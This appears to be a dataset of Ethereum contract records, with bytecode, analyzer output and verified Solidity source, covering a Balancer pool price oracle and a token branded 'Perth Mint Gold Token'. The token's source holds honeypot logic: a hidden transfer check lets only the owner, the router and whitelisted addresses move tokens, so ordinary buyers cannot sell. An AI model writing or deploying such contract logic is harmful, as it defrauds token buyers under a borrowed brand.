378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561053357600160a060020a03338116600090815260026020908152604080832093881683529290529081205561056a565b610543818463ffffffff6107ec16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60408051908101604052600381527f4649430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561063957600080fd5b600160a060020a03331660009081526001602052604090205482111561065e57600080fd5b600160a060020a033316600090815260016020526040902054610687908363ffffffff6107ec16565b600160a060020a0333811660009081526001602052604080822093909355908516815220546106bc908363ffffffff6107fe16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610755908363ffffffff6107fe16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107f857fe5b50900390565b60008282018381101561080d57fe5b93925050505600a165627a7a723058203ea304ef84af0bdf516120457eb26d522fd836a1c6984e1516eac60602e1701f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
3,673
0x999c3fe453043a78453664e58b73b1899dcaf641
//--------------------------------------- //https://pmgt.finance/ //Perth Mint Gold Token //-------------------------------------- pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f7a2f2142c818afea7937b24db601d27eb7f12bb245fabad469631cc3067862d64736f6c63430006060033
{"success": true, "error": null, "results": {}}
3,674
0x0de156f178a20114eeec0ebf71d7772064476b0d
/** *Submitted for verification at Etherscan.io on 2021-02-09 */ // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface BPool { function getCurrentTokens() external view returns (address[] memory tokens); function getNormalizedWeight(address token) external view returns (uint256); function getBalance(address token) external view returns (uint256); function totalSupply() external view returns (uint256); } interface ISmartBPool { function bPool() external view returns (BPool); function totalSupply() external view returns (uint256); } /************ @title IPriceOracle interface @notice Interface for the Aave price oracle.*/ interface IPriceOracle { /*********** @dev returns the asset price in ETH */ function getAssetPrice(address _asset) external view returns (uint256); } contract BConst { uint256 public constant BONE = 10**18; uint256 public constant MIN_BOUND_TOKENS = 2; uint256 public constant MAX_BOUND_TOKENS = 8; uint256 public constant MIN_FEE = BONE / 10**6; uint256 public constant MAX_FEE = BONE / 10; uint256 public constant EXIT_FEE = 0; uint256 public constant MIN_WEIGHT = BONE; uint256 public constant MAX_WEIGHT = BONE * 50; uint256 public constant MAX_TOTAL_WEIGHT = BONE * 50; uint256 public constant MIN_BALANCE = BONE / 10**12; uint256 public constant INIT_POOL_SUPPLY = BONE * 100; uint256 public constant MIN_BPOW_BASE = 1 wei; uint256 public constant MAX_BPOW_BASE = (2 * BONE) - 1 wei; uint256 public constant BPOW_PRECISION = BONE / 10**10; uint256 public constant MAX_IN_RATIO = BONE / 2; uint256 public constant MAX_OUT_RATIO = (BONE / 3) + 1 wei; } contract BNum is BConst { function btoi(uint256 a) internal pure returns (uint256) { return a / BONE; } function bfloor(uint256 a) internal pure returns (uint256) { return btoi(a) * BONE; } function badd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'ERR_ADD_OVERFLOW'); return c; } function bsub(uint256 a, uint256 b) internal pure returns (uint256) { (uint256 c, bool flag) = bsubSign(a, b); require(!flag, 'ERR_SUB_UNDERFLOW'); return c; } function bsubSign(uint256 a, uint256 b) internal pure returns (uint256, bool) { if (a >= b) { return (a - b, false); } else { return (b - a, true); } } function bmul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c0 = a * b; require(a == 0 || c0 / a == b, 'ERR_MUL_OVERFLOW'); uint256 c1 = c0 + (BONE / 2); require(c1 >= c0, 'ERR_MUL_OVERFLOW'); uint256 c2 = c1 / BONE; return c2; } function bdiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'ERR_DIV_ZERO'); uint256 c0 = a * BONE; require(a == 0 || c0 / a == BONE, 'ERR_DIV_INTERNAL'); // bmul overflow uint256 c1 = c0 + (b / 2); require(c1 >= c0, 'ERR_DIV_INTERNAL'); // badd require uint256 c2 = c1 / b; return c2; } // DSMath.wpow function bpowi(uint256 a, uint256 n) internal pure returns (uint256) { uint256 z = n % 2 != 0 ? a : BONE; for (n /= 2; n != 0; n /= 2) { a = bmul(a, a); if (n % 2 != 0) { z = bmul(z, a); } } return z; } // Compute b^(e.w) by splitting it into (b^e)*(b^0.w). // Use `bpowi` for `b^e` and `bpowK` for k iterations // of approximation of b^0.w function bpow(uint256 base, uint256 exp) internal pure returns (uint256) { require(base >= MIN_BPOW_BASE, 'ERR_BPOW_BASE_TOO_LOW'); require(base <= MAX_BPOW_BASE, 'ERR_BPOW_BASE_TOO_HIGH'); uint256 whole = bfloor(exp); uint256 remain = bsub(exp, whole); uint256 wholePow = bpowi(base, btoi(whole)); if (remain == 0) { return wholePow; } uint256 partialResult = bpowApprox(base, remain, BPOW_PRECISION); return bmul(wholePow, partialResult); } function bpowApprox( uint256 base, uint256 exp, uint256 precision ) internal pure returns (uint256) { // term 0: uint256 a = exp; (uint256 x, bool xneg) = bsubSign(base, BONE); uint256 term = BONE; uint256 sum = term; bool negative = false; // term(k) = numer / denom // = (product(a - i - 1, i=1-->k) * x^k) / (k!) // each iteration, multiply previous term by (a-(k-1)) * x / k // continue until term is less than precision for (uint256 i = 1; term >= precision; i++) { uint256 bigK = i * BONE; (uint256 c, bool cneg) = bsubSign(a, bsub(bigK, BONE)); term = bmul(term, bmul(c, x)); term = bdiv(term, bigK); if (term == 0) break; if (xneg) negative = !negative; if (cneg) negative = !negative; if (negative) { sum = bsub(sum, term); } else { sum = badd(sum, term); } } return sum; } } /** @title NaiveBalancerSmartPoolPriceProvider * @notice Price provider for a balancer pool token * - NAIVE CALCULATION, USE ONLY FOR PRICE FETCHING * This implementation assumes the underlying pool on the smart pool is a standard Balancer Shared Pool * - DON'T USE THIS ORACLE IF FUNDAMENTAL CHANGES ON THE UNDERLYING POOL ARE APPLIED */ contract NaiveBalancerSmartPoolPriceProvider is BNum { ISmartBPool public pool; address[] public tokens; uint256[] public weights; bool[] public isPeggedToEth; uint8[] public decimals; IPriceOracle public priceOracle; /** * BalancerSmartPoolPriceProvider constructor. * @param _pool Balancer pool address. * @param _isPeggedToEth For each token, true if it is pegged to ETH (token order determined by pool.getPool().getFinalTokens()). * @param _decimals Number of decimals for each token (token order determined by pool.getPool().getFinalTokens()). * @param _priceOracle Aave price oracle. */ constructor( ISmartBPool _pool, bool[] memory _isPeggedToEth, uint8[] memory _decimals, IPriceOracle _priceOracle ) public { pool = _pool; BPool underlyingBPool = _pool.bPool(); //Get token list tokens = underlyingBPool.getCurrentTokens(); uint256 length = tokens.length; //Validate contructor params require(length >= 2 && length <= 3, 'ERR_INVALID_POOL_TOKENS_NUMBER'); require(_isPeggedToEth.length == length, 'ERR_INVALID_PEGGED_LENGTH'); require(_decimals.length == length, 'ERR_INVALID_DECIMALS_LENGTH'); for (uint8 i = 0; i < length; i++) { require(_decimals[i] <= 18, 'ERR_INVALID_DECIMALS'); } require(address(_priceOracle) != address(0), 'ERR_INVALID_PRICE_PROVIDER'); //Get token normalized weights for (uint8 i = 0; i < length; i++) { weights.push(underlyingBPool.getNormalizedWeight(tokens[i])); } isPeggedToEth = _isPeggedToEth; decimals = _decimals; priceOracle = _priceOracle; } /** * Returns the token balance in ethers by multiplying its balance with its price in ethers. * @param index Token index. */ function getEthBalanceByToken(uint256 index) internal view returns (uint256) { uint256 pi = isPeggedToEth[index] ? BONE : uint256(priceOracle.getAssetPrice(tokens[index])); require(pi > 0, 'ERR_NO_ORACLE_PRICE'); uint256 missingDecimals = 18 - decimals[index]; uint256 bi = bmul(pool.bPool().getBalance(tokens[index]), BONE * 10**(missingDecimals)); return bmul(bi, pi); } /** * Calculates the price of the pool token using the formula of weighted arithmetic mean. * @param ethTotals Balance of each token in ethers. */ function getArithmeticMean(uint256[] memory ethTotals) internal view returns (uint256) { uint256 totalEth = 0; uint256 length = tokens.length; for (uint8 i = 0; i < length; i++) { totalEth = badd(totalEth, ethTotals[i]); } return bdiv(totalEth, pool.totalSupply()); } /** * Returns the pool's token price. * It calculates the price using Chainlink as an external price source and the pool's tokens balances using the weighted arithmetic mean formula. */ function latestAnswer() external view returns (uint256) { //Get token balances in ethers uint256[] memory ethTotals = new uint256[](tokens.length); uint256 length = tokens.length; for (uint256 i = 0; i < length; i++) { ethTotals[i] = getEthBalanceByToken(i); } return getArithmeticMean(ethTotals); } /** * Returns Balancer pool address. */ function getPool() external view returns (ISmartBPool) { return pool; } /** * Returns all tokens. */ function getTokens() external view returns (address[] memory) { return tokens; } /** * Returns all tokens's weights. */ function getWeights() external view returns (uint256[] memory) { return weights; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80639381cd2b116100de578063ba019dab11610097578063c36596a611610071578063c36596a61461046f578063c6580d121461048d578063e4a28a52146104ab578063ec093021146104c95761018e565b8063ba019dab14610415578063bc063e1a14610433578063bc694ea2146104515761018e565b80639381cd2b1461034f578063992e2a921461036d578063aa6ca8081461038b578063b0e0d136146103a9578063b5f163ff146103c7578063b7b800a4146103f75761018e565b806322acb8671161014b5780634f64b2be116101255780634f64b2be146102c557806350d25bcd146102f557806376c7a3c714610313578063867378c5146103315761018e565b806322acb867146102595780632630c12f146102775780633f47e662146102955761018e565b8063026b1d5f1461019357806309a3bbe4146101b15780630e45a1b2146101cf57806316f0115b146101ff578063189d00ca1461021d578063218b53821461023b575b600080fd5b61019b6104e7565b6040516101a89190611310565b60405180910390f35b6101b9610510565b6040516101c691906113cb565b60405180910390f35b6101e960048036038101906101e49190610f85565b61051f565b6040516101f691906112da565b60405180910390f35b610207610550565b6040516102149190611310565b60405180910390f35b610225610574565b60405161023291906113cb565b60405180910390f35b61024361058e565b60405161025091906113cb565b60405180910390f35b61026161059a565b60405161026e91906112b8565b60405180910390f35b61027f6105f2565b60405161028c91906112f5565b60405180910390f35b6102af60048036038101906102aa9190610f85565b610618565b6040516102bc91906113e6565b60405180910390f35b6102df60048036038101906102da9190610f85565b610649565b6040516102ec919061127b565b60405180910390f35b6102fd610685565b60405161030a91906113cb565b60405180910390f35b61031b61072b565b60405161032891906113cb565b60405180910390f35b610339610743565b60405161034691906113cb565b60405180910390f35b61035761075d565b60405161036491906113cb565b60405180910390f35b61037561076c565b60405161038291906113cb565b60405180910390f35b610393610785565b6040516103a09190611296565b60405180910390f35b6103b1610813565b6040516103be91906113cb565b60405180910390f35b6103e160048036038101906103dc9190610f85565b610818565b6040516103ee91906113cb565b60405180910390f35b6103ff610839565b60405161040c91906113cb565b60405180910390f35b61041d61083e565b60405161042a91906113cb565b60405180910390f35b61043b610843565b60405161044891906113cb565b60405180910390f35b610459610859565b60405161046691906113cb565b60405180910390f35b61047761086b565b60405161048491906113cb565b60405180910390f35b610495610877565b6040516104a291906113cb565b60405180910390f35b6104b361087c565b6040516104c091906113cb565b60405180910390f35b6104d161088b565b6040516104de91906113cb565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6032670de0b6b3a76400000281565b6003818154811061052c57fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6402540be400670de0b6b3a76400008161058a57fe5b0481565b670de0b6b3a764000081565b606060028054806020026020016040519081016040528092919081815260200182805480156105e857602002820191906000526020600020905b8154815260200190600101908083116105d4575b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004818154811061062557fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6001818154811061065657fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000606060018054905067ffffffffffffffff811180156106a557600080fd5b506040519080825280602002602001820160405280156106d45781602001602082028036833780820191505090505b509050600060018054905090